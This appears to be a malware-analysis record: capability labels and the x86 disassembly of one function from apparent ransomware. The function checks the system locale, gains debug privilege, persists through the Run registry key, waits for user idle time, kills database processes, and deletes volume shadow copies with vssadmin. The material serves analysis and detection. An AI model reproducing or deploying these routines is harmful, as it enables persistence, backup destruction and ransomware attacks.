Function at 0x44e5d0
Capabilities:
Acquire debug privileges
Check for time delay via gettickcount
Create process on windows
Delete volume shadow copies
Enumerate processes
Link many functions at runtime
Persist via run registry key
Set registry value
Terminate process

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5daa20
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x370
mov eax, dword [0x66ea60]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
cmp eax, 0x804
jne 0x44e64a
call fcn.0044e120
call fcn.0044e1c0
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0059e5bd
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret 0x10
push str.start_cat_encrypt
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x44e628
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea ecx, [ebp - 0x224]
push ecx
push 0x28
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x44e6d2
lea eax, [ebp - 0x234]
push eax
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x44e6ca
push 0
push 0
push 0
lea eax, [ebp - 0x238]
mov dword [ebp - 0x238], 1
push eax
push 0
push dword [ebp - 0x224]
mov dword [ebp - 0x22c], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push dword [ebp - 0x224]
call esi
push 0
push 0x11
call fcn.005952c0
push 0
push 0xf
call fcn.005952c0
push 0x1e
push 0x1c
call fcn.005952c0
push 0x64
push 0x15
call fcn.005952c0
push 0x1a
call fcn.00594ec0
add esp, 0x24
mov dword [ebp - 0x258], 0
lea eax, [ebp - 0x220]
push 0x208
push 0
push eax
call fcn.005b6630
add esp, 0xc
lea eax, [ebp - 0x220]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0
lea eax, [ebp - 0x258]
push eax
push 0
push 2
push 0
push 0
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x44e7a3
lea ecx, [ebp - 0x220]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x44e764
sub ecx, edx
sar ecx, 1
lea eax, [ecx*2 + 2]
push eax
lea eax, [ebp - 0x220]
push eax
push 1
push 0
push str.starcat
push dword [ebp - 0x258]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0x258]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edi, dword [sym.imp.USER32.dll_GetLastInputInfo]
lea eax, [ebp - 0x230]
push eax
mov dword [ebp - 0x230], 8
call edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [ebp - 0x22c]
cmp eax, 0x1d4c0
jae 0x44e801
nop
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x230]
mov dword [ebp - 0x230], 8
push eax
call edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [ebp - 0x22c]
cmp eax, 0x1d4c0
jb 0x44e7d0
push 0xc
call fcn.0059e5d3
mov edi, eax
add esp, 4
xorps xmm0, xmm0
mov dword [ebp - 0x22c], edi
movq qword [edi], xmm0
push 0x6645c0
mov dword [edi + 8], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0x6645d0
push eax
mov dword [edi], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.GetTickCount64
push dword [edi]
mov dword [edi + 4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, edi
mov dword [edi + 8], eax
call fcn.0044f3f0
push 0
push 0xf
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov dword [ebp - 0x224], eax
cmp eax, 0xffffffff
je 0x44e927
push 0x124
lea eax, [ebp - 0x37c]
push 0
push eax
call fcn.005b6630
add esp, 0xc
mov dword [ebp - 0x380], 0x128
lea eax, [ebp - 0x380]
push eax
push dword [ebp - 0x224]
call dword [sym.imp.KERNEL32.dll_Process32First]
xor edi, edi
mov eax, str.msftesql.exe
lea ecx, [ebp - 0x35c]
push ecx
push eax
call fcn.005c7958
add esp, 8
test eax, eax
jne 0x44e8ea
push dword [ebp - 0x378]
push eax
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x44e8e4
push 9
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
jmp 0x44e8ea
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
inc edi
movsx ecx, di
mov eax, ecx
shl eax, 4
sub eax, ecx
cmp byte [eax*2 + str.msftesql.exe], 0
lea eax, [eax*2 + str.msftesql.exe]
jne 0x44e8a7
mov edi, dword [ebp - 0x224]
lea eax, [ebp - 0x380]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x44e8a0
push edi
call esi
mov edi, dword [ebp - 0x22c]
push str.IsWow64Process
push dword [edi]
mov dword [ebp - 0x22c], 0
mov dword [ebp - 0x224], 0
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x44e962
lea eax, [ebp - 0x224]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
test eax, eax
je 0x44e985
cmp dword [ebp - 0x224], 0
je 0x44e985
push str.Wow64DisableWow64FsRedirection
push dword [edi]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x44e985
lea ecx, [ebp - 0x22c]
push ecx
call eax
push 0
push 0
push str._c_vssadmin.exe_delete_shadows__all__quiet
push str.cmd.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push str.IsWow64Process
push dword [edi]
mov dword [ebp - 0x224], 0
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x44e9d1
lea eax, [ebp - 0x224]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
test eax, eax
je 0x44e9f3
cmp dword [ebp - 0x224], 0
je 0x44e9f3
push str.Wow64RevertWow64FsRedirection
push dword [edi]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x44e9f3
push dword [ebp - 0x22c]
call eax
push dword [edi]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push 0xc
push edi
call fcn.0059e603
add esp, 8
lea ecx, [ebp - 0x22c]
call fcn.0044f960
xorps xmm0, xmm0
push 8
movlpd qword [ebp - 0x228], xmm0
call fcn.0059e5d3
add esp, 4
mov dword [ebp - 0x22c], 0x453100
lea ecx, [ebp - 0x22c]
push ecx
mov ecx, eax
call fcn.004510c0
mov dword [ebp - 0x224], eax
xor eax, eax
push 0x7d0
mov word [0x6790e8], ax
call fcn.005bd56f
add esp, 4
push 0x70
call fcn.0059e5d3
add esp, 4
mov edi, eax
push 0x60
lea ecx, [edi + 0x10]
push 0
push ecx
call fcn.005b6630
add esp, 0xc
mov dword [edi], 0
mov dword [edi + 4], 0
lea esi, [edi + 0xc]
mov dword [edi + 8], 0
mov dword [esi], 0
push 8
mov dword [esi + 4], 0
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0
mov dword [esi + 0x10], 0
call fcn.0059e5d3
mov dword [esi], eax
add esp, 4
mov dword [0x6790b4], 0
mov dword [0x6790e4], edi
mov dword [eax], 0
mov dword [eax + 4], 0
mov eax, dword [esi]
push 4
mov dword [eax], esi
xor eax, eax
mov dword [edi + 0x30], 0
mov dword [edi + 0x34], 0xf
mov byte [edi + 0x20], 0
mov dword [edi + 0x38], 0
mov dword [edi + 0x3c], 0
mov dword [edi + 0x40], 0
mov word [0x6790b0], ax
call fcn.0059e5d3
mov esi, eax
mov dword [ebp - 0x244], 0
add esp, 4
lea ecx, [ebp - 0x254]
xorps xmm0, xmm0
movups xmmword [ebp - 0x254], xmm0
mov dword [esi], 0x44e020
call fcn.0044dec0
lea eax, [ebp - 0x240]
mov dword [ebp - 0x254], 0x664534
push eax
lea ecx, [ebp - 0x254]
mov dword [ebp - 0x244], esi
call fcn.0044df90
mov eax, dword [ebp - 0x244]
test eax, eax
je 0x44eb72
push 4
push eax
call fcn.0059e603
add esp, 8
mov dword [ebp - 4], 0
mov esi, dword [ebp - 0x24c]
mov edi, dword [ebp - 0x250]
push esi
call fcn.0045ddbb
add esp, 4
test eax, eax
je 0x44eb9b
push eax
call fcn.0045d9d4
add esp, 4
push esi
call fcn.0045dcff
add esp, 4
push edi
call fcn.0045d8ce
mov dword [ebp - 4], 0xffffffff
add esp, 4
mov eax, dword [ebp - 0x23c]
test eax, eax
jne 0x44ebce
push 1
call fcn.0045da01
mov eax, dword [ebp - 0x23c]
add esp, 4
push eax
push dword [ebp - 0x240]
call fcn.0045deda
add esp, 8
test eax, eax
je 0x44ebea
push eax
call fcn.0045d9d4
add esp, 4
mov dword [ebp - 0x240], 0
mov dword [ebp - 0x23c], 0
call fcn.0044b9c0
test al, al
je 0x44ec23
mov ax, word [0x6790b0]
mov word [0x6790e8], ax
test ax, ax
je 0x44ec23
lea ecx, [ebp - 0x228]
call fcn.00451aa0
call fcn.0044e120
call fcn.0044e1c0
push 0
call fcn.005b9faf
int3